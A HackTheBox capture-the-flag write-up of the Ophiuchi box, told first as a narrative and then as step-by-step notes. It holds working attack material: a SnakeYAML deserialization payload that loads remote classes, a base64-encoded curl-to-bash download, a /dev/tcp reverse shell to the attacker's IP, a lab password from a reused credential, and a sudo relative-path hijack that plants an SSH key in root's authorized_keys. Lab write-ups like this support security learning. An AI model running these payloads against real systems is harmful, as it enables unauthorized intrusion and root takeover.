HTB: Ophiuchi
» INTRO
Hello fellow hackers and welcome back to the dark nebula, also known as the Ophiuchi box on HTB! Today we’ll be tearing up a deserialization vulnerability and following that up with some relative path hijacking to take over a script - I hope you’re as ready as I am. And with the introductions out of the way, we start our journey!
Creators: felamos
Rating: 4.1
» CEREAL KILLER
As with a large majority of our HacktheBox experience, we begin by adding the box’s IP into /etc/hosts
for ease-of-use and enabling our lazy habits. Once that’s done we kick off an nmap which produces the following (trimmed) results:
# Nmap 7.91 scan initiated Fri Jun 4 20:35:51 2021 as: nmap -sCV -O -oA tcp-full -p- -v ophiuchi.htb
Nmap scan report for ophiuchi.htb (10.129.164.0)
Host is up (0.044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 4 20:36:39 2021 -- 1 IP address (1 host up) scanned in 48.71 seconds
Well that’s rather straightforward - we only have two ports open, and only one of them seems interesting at first glance. Let’s look at the Tomcat server running on 8080
. Starting off, I kick off a basic gobuster scan to enumerate directories with gobuster dir -u http://ophiuchi.htb:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -o gobuster_basic_8080.txt
, which produces the following results:
That’s interesting - gobuster highlighted that there’s a page running at /yaml
. Looking at the page, we see what appears to be a YAML parser.
If you try running any valid YAML in the parser, it just returns that it has been disabled for security reasons - that’s not terribly exciting but it’s all that we have to go on. Trudging onwards I searched ye olden Googly-box
for “yaml parser exploit” given that’s all that we know so far; I got a hit leading to this Medium article by Swapneil Dash. It outlines a Snake YAML deserialization vulnerability that someone he knows used in a pentest - why not try it in ours? Anyways, I’ll leave you to read the Swapneil article - meet me back here in five once you’ve given it a pass.
Just want to throw this out there - I don’t advise blindly throwing payloads out there on an actual engagement. It can lead to you getting caught if their security is up to snuff, or you can just look like a moron (which I don’t need any help doing anyways). For a CTF though, go buck wild - send whatever your heart desires!
If you read through the article, we essentially can pass in Java class objects’ constructors in order to call functions and such. About halfway down we see a Proof-of-Concept file; let’s modify and use that like so:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.17.239/"]
]]
]
Remember to sub out your IP in that payload. Spin up a server with python3 -m http.server 80
, slap that payload into the YAML parser, and click “Parse” to be greeted with a lovely sight…
Fantastic, we have code execution (even though it said it was disabled, GASP!) and can move forward with this attack. Notice that it’s looking for the file /META-INF/services/javax.script.ScriptEngineFactory
- that will come up in a bit. Continuing down the Swapneil article we find a link to a GitHub named artsploit/yaml-payload
: ARTSPLOIT. Essentially I copied just the AwesomeScriptEngineFactory.java
file and ignored the rest, you can find that file HERE.
Now that we have that file we’re going to set up for a PoC that’s simple, something like ping
‘ing our box will confirm it works nicely. There are a few things we need to do first to set up the file structure, however. First choose a package name in your head - I’m going to use sp1icersploit
- and then do the following:
-
mkdir sp1icersp1oit
: make our package directory that will contain our RCE code -
mkdir -p META-INF/services/
: make our directory that will contain ourjavax.script.ScriptEngineFactory
file, which just points to which code package to use
We’ll start with a few changes - the first thing I did was mv AwesomeScriptEngineFactory.java sp1icersploit/sp1icer.java
, since it’s shorter and I’m lazy. Let’s edit that sp1icer.java
file with a few personalizations changes…
- Change the package listing at the top to
package sp1icersploit
- Change
public AwesomeScriptEngineFactory()
topublic sp1icer() throws InterruptedException
- Remove the original lines inside of the (now)
sp1icer()
function, including thetry{} catch{}
blocks. - Inside of our
sp1icer()
function, add the following code:Runtime.getRuntime().exec("ping -c 4 10.10.17.239");
Aight, now we’re cooking with fire. We’ve set up our sp1icer.java
file with new code that we want it to execute when called - compile it with javac sp1icer.java
. This should spit out a .class
file which is what the Java server will require to execute the code.
Now that that’s out of the way, make the javax.script.ScriptEngineFactory
file inside of META-INF/services/
. The contents should just be the name of your package and the function inside of it in the format of packageName.functionName
. In my case the contents of this file will just be sp1icersploit.sp1icer
. If everything went as desired, we should have the following structure:
+-- sp1icersploit
| +-- sp1icer.java
| +-- sp1icer.class
+-- META-INF
| +-- services
| | +-- javax.script.ScriptEngineFactory
Serve up a webserver in the root with python3 -m http.server 80
. In a new tmux pane also make sure to start TCPDump like so: sudo tcpdump -i tun0 icmp
. Re-submit the same PoC payload from earlier and you should see the following series of requests:
And with luck on our side, the sweet sweet sound of packets hitting our interface:
If you’re anything like me, you probably thought “all right! We’ve got code execution, now let’s just pop the PentestMonkey Java reverse shell in there!” Unfortunately, this code has other plans like jacking up our revshell attempts. It took me a fair bit, but I eventually remembered this fantastic payload conversion site by Jackson_T. The TL;DR on why this site exists is that pipe redirection in bash really gets messed up in a Java exec()
call, so we need to convert it to something a bit more palatable since Java is picky. We’ll use this as a jumping off point to have Java fetch a bash script from us so we can just edit that instead of the Java payload over and over. Doing that:
- Throw
curl http://10.10.17.239/rev.sh | bash
(subbing out your IP) into the Jackson_T converter - Edit
sp1icer.java
withRuntime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwOi8vMTAuMTAuMTcuMjM5L3Jldi5zaCB8IGJhc2g=}|{base64,-d}|{bash,-i}");
as the payload (remember to substitute YOUR Jackson_T payload here) - Re-compile:
javac sp1icer.java
Just like that, we have a payload that will try to curl
our rev.sh. I created a rev.sh
with the following:
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.17.239/9001 0>&1
Finally re-set up our python
server and additionally add in a new ncat -lvp 9001
to catch the reverse shell. Re-send our initial payload to see the server sending requests for META-INF/services/javax.script.ScriptEngineFactory
, then rev.sh
. We should have a revshell now - success!
Unfortunately for us, we still don’t have a user account. That’s our first priority as we establish our privileges in this system so that we don’t get immediately kicked out if we jack up our reverse shell 😉 well, it’s our first priority after we do a TTY upgrade:
python3 -c 'import pty;pty.spawn("/bin/bash");'
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
stty raw -echo; fg
stty rows ROWS cols COLS
export TERM=xterm-256color
exec /bin/bash
All this does is make our terminal nicer with tab-autocomplete and the things we expect from a native shell. Now to upgrade…
If you’ve spent any amount of time around Tomcat, you know that there’s potential for credentials right where we landed or close by at least. I started grepping for passwords and eventually got lucky with a hit on /opt/tomcat/conf/tomcat-users.xml
:
With that, we can now SSH in as admin :: whythereisalimit
. Finally!
Well, kind of - it’s just beginning.
» FOLLOW THE WHITE WABT
As with most Linux boxes, the first thing I run is sudo -l
to see what we have access to. In this case, it returns a juicy bit of information.
$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Let’s take a look at what permissions are on the file…
$ ls -l /opt/wasm-functions/index.go
-rw-rw-r-- 1 root root 522 Oct 14 2020 /opt/wasm-functions/index.go
…and what the contents of said file are:
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
My first thought was that there might be some sort of dependency injection to use with regards to the wasm
import, and it turns out I wasn’t quite wrong - I was just looking in the wrong place. See anything fishy about the call to deploy.sh
? I didn’t either for a while, until my friends Pascal_0x90 and initinfosec gave me a few nudges. If you look at the line with deploy.sh
it becomes apparent that index.go
is calling it with a relative path, meaning we can just change what directory we’re in in order to call our own version of deploy.sh
. First we have to satisfy the script conditions, though…
Looking back we notice that it’s looking for some value f
to be set to 1. A few lines before, it imports a file main.wasm
and uses the result of the export for “info” as the value of f
. Wait, what the hell is a .wasm
?? Googling for that leads us to the WebAssembly wabt GitHub. It basically looks like we can take the wasm
, convert it to a text format .wat
, and have something much more readable. Install wabt
from the installation instructions and then let’s decompile the wasm
with the following commands.
scp admin@ophiuchi.htb:/opt/wasm-functions/main.wasm ./main.wasm
-
build/wasm2wat ../../main.wasm > ../../main.wat
(remember the paths are relative, so it may be different on your system) -
mv main.wasm main.wasm.bak
for safe keeping, in case anything goes wrong
Let’s take a look at what we have now in main.wat
:
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
That’s…incredibly un-helpful. Remember that we’re looking for some kind of export…we see an export line for “info”, which uses the function $info
. Some intuition tells us that the i32.const 0
is that export, so edit main.wat
to have i32.const 1
set. Let’s re-compile with build/wat2wasm main.wat > main.wasm
, transfer it back to the victim box, and set up our main.wasm
and a deploy.sh
somewhere safe (I like to use /tmp
since it’s usually writeable). Since this article is getting long, I’ll skip the experiments - our choices for privesc are severely limited by SELinux on this host - this is what ultimately worked for me in deploy.sh
:
#!/bin/bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTPStNXPYkx8MbD [...TRIMMED...] sp1icer@kali' >> /root/.ssh/authorized_keys
I’ve trimmed the SSH key out since it’s just lots of extra characters for no gain in understanding. Trigger it with sudo /usr/bin/go run /opt/wasm-functions/index.go
and we’re almost done…now just SSH in as root: ssh -i <key name> root@ophiuchi.htb
.
» WALK AROUND LIKE YOU OWN THE PLACE
Wew, we’ve done it - we conquered the indomitable Ophiuchi! We rolled our own crypto deserialization exploit, found some credentials that got re-used, and hijacked a relative path to execute some code as root. I hope you’ve enjoyed this post, I definitely enjoyed writing it for y’all - as always, make sure to like and subscribe keep on keeping on and happy hacking!
- sp1icer
» TL;DR FOR MY LAZY FRIENDS
These were my short-form notes in Obsidian while doing the box.
# Steps
1. nmap to see 8080
2. gobuster to find `/yaml`
3. Google search "yaml parser exploit" gets us deserialization article: `https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858`
4. Test PoC, it works
5. Copy file from Medium article's linked GH repo: `https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java`
6. Edit file with changes to get PoC for RCE:
1. change `package artsploit` to `package sp1icersp1oit`
2. change `public AwesomeScriptEngineFactory()` to `public sp1icer()`
3. change payload to `Runtime.getRuntime().exec("ping -c 4 10.10.17.239");`
4. Save file, compile: `javac sp1icer.java`
5. Make needed folders: `mkdir sp1icersp1oit` and `mkdir -p META-INF/services/`
6. move `sp1icer.class` to `sp1icersp1oit`
7. create file `/META-INF/services/javax.script.ScriptEngineFactory` with one line: `sp1icersp1oit.sp1icer`
7. Change java exploit file to use `rev.sh` instead of single commands
1. payload: `Runtime.getRuntime().exec("bash -c {echo,Y3VybCBodHRwOi8vMTAuMTAuMTcuMjM5L3Jldi5zaCB8IGJhc2g=}|{base64,-d}|{bash,-i}");` (from Jackson's site)
2. compile: `javac sp1icer.java`
8. Edit rev.sh to have ping payload
9. Edit rev.sh to have revshell payload: `/bin/bash -i >& /dev/tcp/10.10.17.239/9001 0>&1`
10. RCE as tomcat
11. TTY Upgrade
1. `python3 -c 'import pty;pty.spawn("/bin/bash");'`
2. `stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'`
3. `stty raw -echo; fg`
4. `stty rows ROWS cols COLS`
5. `export TERM=xterm-256color`
6. `exec /bin/bash`
12. go find password in Tomcat config directory: `/opt/tomcat/conf/tomcat-users.xml`
13. SSH in as `admin :: whythereisalimit`
14. user.txt
15. sudo -l reveals a go script we can use for privesc
16. running it from home dir shows errors
17. Going to `/opt/wasm-functions/index.go` and check what it does
1. We can see it's looking for a "main.wasm" from whatever folder we're in - notice the lack of absolute pathing
2. Checks to see if "f" is set to 1 - checking if export of "info" is set to 1?
3. If "f" is 1, run deploy.sh - notice lack of absolute path again
18. Install https://github.com/WebAssembly/wabt so that we can decrypt the main.wasm, and then build our own
19. Copy main.wasm from `/opt/wasm-funcions/main.wasm` to our box
1. `build/wasm2wat ../../main.wasm > ../../main.wat`
2. `cd ../../`
3. `mv main.wasm main.wasm.bak`
4. edit main.wat to have `(func $info (type 0) (result i32) i32.const 1)` (should be on 2 lines in file)
5. `build/wat2wasm main.wat > main.wasm`
19. Write our own deploy.sh
1. Start with a script to ping, then move up
2. Edit the script to have it add in our SSH key to root's authorized_keys file
1. IN KALI: `ssh-keygen -t rsa -b 4096 -f root`
2. IN DEPLOY.SH: `echo '<SSH KEY>' >> /root/.ssh/authorized_keys`
20. Move our main.wasm and deploy.sh over to Ophi
1. scp deploy.sh admin@ophiuchi.htb:~/deploy.sh
21. execute from admin's home dir: `sudo /usr/bin/go run /opt/wasm-functions/index.go`
22. ssh in as root: `ssh -i root root@ophiuchi.htb`
23. root.txt
» REFERENCES
In the actual post:
https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
https://github.com/artsploit/yaml-payload
https://youtu.be/u9Dg-g7t2l4?t=101
https://blog.mrtnrdl.de/infosec/2019/05/23/obtain-a-full-interactive-shell-with-zsh.html
https://github.com/WebAssembly/wabt
Extra reading:
https://webassembly.org/getting-started/advanced-tools/
https://zetcode.com/golang/exec-command/
https://gist.github.com/yougg/b47f4910767a74fcfe1077d21568070e
https://spectrum.chat/wasmer/general/compiling-go-to-wasm-with-exported-functions~e0139c5b-e512-43e4-84b2-97f4c882908e
https://opensource.com/article/19/4/command-line-playgrounds-webassembly
https://github.com/golang/go/wiki/WebAssembly#getting-started
https://stackoverflow.com/questions/20829155/how-to-cross-compile-from-windows-to-linux
https://tutorialedge.net/golang/executing-system-commands-with-golang/